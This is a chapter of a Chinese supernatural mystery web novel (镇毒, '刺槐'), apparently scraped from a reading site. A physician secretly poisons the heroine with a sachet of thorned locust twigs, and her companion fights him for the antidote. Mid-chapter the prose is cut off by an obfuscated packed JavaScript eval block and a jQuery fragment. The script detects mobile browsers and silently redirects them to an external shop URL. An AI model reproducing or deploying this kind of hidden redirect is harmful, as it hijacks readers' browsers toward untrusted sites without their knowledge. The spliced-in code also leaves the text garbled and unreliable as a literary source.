文趣网 > 其他小说 > 镇毒[志怪] > 15. 刺槐
    医馆内陈设古朴雅致,可谓:烟罗纱窗映晚霞,紫檀木架置定瓶;妙笔丹青盈四壁,最是浓墨重彩间。

    结合古镇年岁,一应家具瓷器大约都是传承上百年的古董物什。

    雁少青上了楼,抚摸黄花梨木柜子上雕刻精美的花纹。

    夹杂在浓重中药间的腐烂味道,却愈发腥臭刺鼻,不断攻击她的大脑神经。

    雁少青在房间里四下探寻,转而觉察出不对,掀开挂了满墙的画作,抚向纹理分明的墙纸。

    她陡然脸色一变,然而来不及细究,门忽然被推开,许知远舒缓沉静的声音响起:“你又没休息。”

    雁少青转头看向许知远,他的脸上仍带着中医特有的沉稳温和的笑容。

    “怕睡着就醒不过来了。”雁少青缓步离开墙边,走到门口,“怎么,许大夫有事找我。”

    许知远心内奇怪:为什么雁少青像是知道自己要来一样。

    “看你睡不踏实,特意做了个香囊给你。”许知远面色不变,把手里准备好的香囊双手递给雁少青。

    雁少青一只手接过香囊,在眼前细细看过,见是一个藏青色绣双鱼图案的香囊,做工十分精美:“许大夫还会刺绣?”

    “老辈子的手艺传承不下去就可惜了。”许知远的笑容意味深长。

    “悬壶济世、誉满杏林,许家是医药世家,原来还会刺绣?”

    “谁说人只能专精一门?”许知远算着时间,褚寒大概快要回来,便没有正面回答,只是叮嘱雁少青,“香囊宝贵,里面的东西一旦拆开遇了空气,就没有安神的效果了,切记、切记,不要拆开。”

    许知远说完,转身要走。

    雁少青却突然拦住问道:“许大夫,你在这里住了多少年了?”

    许知远说:“三十来年。”

    “那你从来没闻到房子里有怪味?”

    许知远的眼尾不受控的抽动了一下:“我不知道你说的是什么味道。”

    “尸体的腐臭味。”雁少青淡淡的说。

    “我从来没闻到过。大概是你受了伤,又太过劳累,身体虚弱,出现了幻觉。”许知远不愿和雁少青纠缠,径直下楼去。

    雁少青关上门,站在原地,先是用手捏了捏香囊,摸到几根树枝形状的硬物,接着放在鼻子前浅闻了一下,有古怪的油漆味。

    雁少青幼年居住的场所种有刺槐树,知道槐花虽香,槐木的味道却异常难闻。

    雁少青心中有个估量,觉得应该是槐木,没毒,于是又仔细闻了一遍,确定就是原产于桑阿贡金、十八世纪末由赫尔海洲人引入华洲的刺槐树。

    雁少青不知道许知远葫芦里卖的什么药,并不准备打开香囊,也不准备带在身上。她往床上扔时,却摸到香囊里有个鱼眼大小的珠子。

    珠子的大小和在布料上摩擦的触感,与她小时候曾玩过的冉遗鱼目珠非常相似。

    相传吃了冉遗鱼的肉能睡个安稳觉,不被噩梦所困。可是鱼肉易坏,不易保存,吃了肉也只能安睡一晚,性价比极低。后来有人发现冉遗鱼的眼睛终年不腐,便将冉遗鱼的眼睛磨成圆形、做成珠串,戴在身上,用以辟邪安眠。

    雁素秋说过,冉遗鱼眼珠十分珍贵,世界上现存的冉遗鱼目珠一只手即可数得过来。

    她的那颗早就在山洞被带走她的人抢走了。

    许知远为什么会有冉遗鱼目珠呢?还是说这颗根本不是鱼目珠?

    雁少青隔着香囊袋子捻磨珠子,可香囊足有三层布料,隔着外层无法摸到珠子的准确形状。

    雁少青迫不及待地打开香囊,把香囊倒置,想将珠子倒出来。但珠子被树枝卡住,无法掉落出来。雁少青只好将刺槐树枝先掏出来。

    手指触碰到刺槐枝的那一刻,雁少青却察觉出不对。

    刺槐枝上有肉眼看不到的细小棘刺,那些刺如同血蛭一般,立即钻入雁少青的皮肤深处,由手指处蔓延至全身。

    雁少青嗓子里涌上一股血腥气,眼前一黑,昏倒过去。

    ——

    许知远回到七星斗橱前,不紧不慢地整理起药材。

    生乌头、毒蝎尾、黑蜘蛛、刺槐木、千针蜈蚣……

    “老爷子数过,说药没有少,可能是其他人落下的。你看看药单,如果是别人遗落的,我再去送一趟。”褚寒步履匆忙地跨入门内,不等坐下,就向许知远诉说情况。

    许知远合上抽屉,抬起头笑着看向褚寒:“不用了,可能是我不小心多包的药材。把门关上。”

    褚寒关门落锁,拉开一把椅子坐下,酝酿了一会儿,才问:“她身体怎么样?”

    许知远把黄花梨木盒拿了过来,在褚寒对面坐下:“没有大碍。这次你真的问了。”许知远强调。

    褚寒抓了一把蓬松纷乱的头发,连忙转换了话题:“那个盒子,你打开看过吗?”

    许知远将盒子打开,递给褚寒:“倒也没什么特别的,只有一个二十四向旱罗盘。”

    褚寒将罗盘取出,见是一个精铜罗盘,直径不足六厘米,内圈凹陷处没有指针,外圈刻八干四维加十二支的二十四向。晃动罗盘,没听到声响,是个实心的装置,前后左右翻看了,也没有任何标记。

    褚寒沉吟:“罗盘没有指针,怎么指明方向?就算有了指针,又该怎么指引去处?知远哥,你父亲给你罗盘的时候还给你其他的线索和提示了吗?你有试过解开罗盘的谜题吗?”

    许知远摇头说:“我也不知道答案。我父亲说过,最高明的机关,不是你不知道怎么解开,而是你即使知道怎么解开也没办法使用。他说这件机关就是第二种。不过他还说过,这件机巧的谜题并不难解,难的是找到解开的人。”

    褚寒若有所思地看着手里的罗盘:“我去找雁少青商量看看。”

    许知远连忙说:“今天白天你们出门的时候,我特意在房间里放了安神的香。她这会儿可能正睡得安稳,让她睡一个时辰再去叫她吧。我给你安排另外的房间。”

    ——

    嘈杂的人声从头顶传来,雁少青勉强挣开双眼,眼前却只有灰蒙蒙的雾气。

    她强撑着从地上爬起来,背上却似有千斤重的石板压着她,让她无法起身。

    雁少青闭着眼睛,努力让自己的大脑先清醒过来。

    慢慢的她终于能转动眼球和手指,耳边传来喧闹的人声,不断地说着:“吃了她,吃了她。”

    她抬起头,看到墙皮密密麻麻地隆起,形成人形,从墙面挣脱下来,变成一个个人皮架,浓稠的深红色血液黏人皮架上,朝她爬过来。

    雁少青刚才发现,墙上贴的不是墙纸,而是人皮。

    不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745485|209276||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    对,没有人皮架,是她的想象。

    因为她发现了秘密,中毒之后不自觉的产生了相关的幻觉。

    她感受到身体的骨头正在被啃噬,如果再不找到解药,她很可能也会变成一具无骨的人皮,被贴在墙上成为墙纸。

    可是她不知道是什么毒药,药性发作之快之凶,让她根本无还手之力。

    必须找到许知远,让他交出解药。雁少青咬着牙从地上爬起来,撞翻离她最近的紫檀木架,摔碎架子上的花瓶。

    ——

    花瓶应声掉落,褚寒立刻警惕起来:不是说雁少青睡着了吗,医馆里又没其他人,怎么会有人摔碎花瓶。

    他站起身,准备往楼上走。

    许知远拍着脑袋说:“我想起来了,我父亲还给我留下一封书信,上面有对罗盘用法的提示。”

    褚寒心内一惊,许知远刚才就是这个动作——他一定在说谎,如果刚才他没见过雁少青,怎么知道她身体无大碍?

    他不顾许知远阻拦,飞奔至二楼,只见雁少青打开一条门缝,扶着门把手,气喘吁吁,站立不稳。

    褚寒一把搂住雁少青,打横将她抱了起来。

    雁少青强撑着说:“找许知远要解药。”

    褚寒把雁少青抱到楼下,找了一把藤椅让她躺下。

    “知远哥,我不知道你为什么要对她下手,但请你看在我的面子上救她一命。”

    许知远看雁少青毒入骨髓,悠然地坐在茶桌边,温杯烫盏:“我跟她说过不要打开,是她自己不听话。”

    雁少青冷笑一声,但为了积蓄力量,不得不闭口。

    见她不服,许知远狠狠地捏住杯子,重重地放在茶案上:“你为什么会打开香囊,你自己心里清楚。”

    这时门外响起急促的敲门声。

    褚寒走到许知远身边,用小刀顶住许知远的脖子:“时间紧急,请你把解药给我。”

    敲门声更急。

    许知远用食指移开刀刃:“为了一个路上认识的野女人就拿刀对着自己兄长的脖子,你真糊涂。”

    咚的一声,褚寒一拳打中许知远的头部,将他打翻在地:“现在是你在害人。何况她身份特殊,可能是我找到许音的关键。她不能死。”

    许知远从地上爬了起来,捞起桌上的茶杯砸向褚寒。褚寒斜身避开,许知远已抄起一柄藏在茶桌下面的剑,抄褚寒刺来。

    褚寒旋身绕至许知远身后,两招就将许知远拧到地上,压在身下:“交出解药。”

    “有本事打死我。”

    敲门的人听见里面乒乓作响却不回话,着急地喊:“许大夫,我弟媳突然临产,来不及去市里的医院了,还请大夫救命。”

    许知远奋力挣扎却被褚寒禁锢,动弹不得:“我赶去救人。”

    褚寒压制着许知远:“解药给我,我送你救人。”

    许知远一副宁死不屈的表情。

    躺倒在榻上的雁少青忽然吐了口血,用虚弱的声音说道:“褚寒,放他去救人吧,如果晚了,就是一尸两命。”

    “可是……”褚寒手上的力气松了些,“你现在情况危急,并不比那名孕妇好到哪里去。”

    雁少青有气无力地抬手:“让他去。”

    抬手间,许知远看到,雁少青的食指上有一条正在放血的伤口。